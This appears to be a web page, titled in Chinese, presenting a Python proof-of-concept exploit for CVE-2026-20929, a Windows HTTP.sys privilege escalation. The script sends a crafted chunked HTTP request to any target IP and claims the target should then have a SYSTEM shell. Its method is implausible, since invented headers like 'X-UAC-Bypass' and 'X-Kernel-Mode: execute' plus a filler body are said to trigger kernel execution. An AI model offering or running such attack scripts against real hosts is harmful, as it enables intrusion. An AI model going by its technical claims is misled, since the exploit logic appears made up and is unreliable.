CVE-2026-20929: Windows HTTP.sys权限提升漏洞

# CVE-2026-20929 PoC - Windows HTTP.sys Privilege Escalation # This is a conceptual PoC for educational purposes only import socket import struct import sys def create_malicious_http_request(): """Create malicious HTTP request to trigger HTTP.sys vulnerability""" # HTTP.sys handles HTTP requests at kernel level # Malicious request crafted to bypass access control headers = [ "POST / HTTP/1.1", "Host: localhost", "Content-Type: application/x-www-form-urlencoded", "Transfer-Encoding: chunked", "X-UAC-Bypass: 1", # Custom header to exploit access control "X-Kernel-Mode: execute" # Attempt to trigger kernel mode execution ] body = "A" * 10000 # Payload to trigger vulnerability request = "\r\n".join(headers) + "\r\n\r\n" + body return request.encode() def exploit_cve_2026_20929(target_host, target_port=80): """Send exploit payload to target""" try: print(f"[*] Target: {target_host}:{target_port}") print(f"[*] Sending malicious HTTP request...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) payload = create_malicious_http_request() sock.send(payload) print(f"[+] Payload sent successfully") print(f"[*] Check for SYSTEM shell on target") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] exploit_cve_2026_20929(target)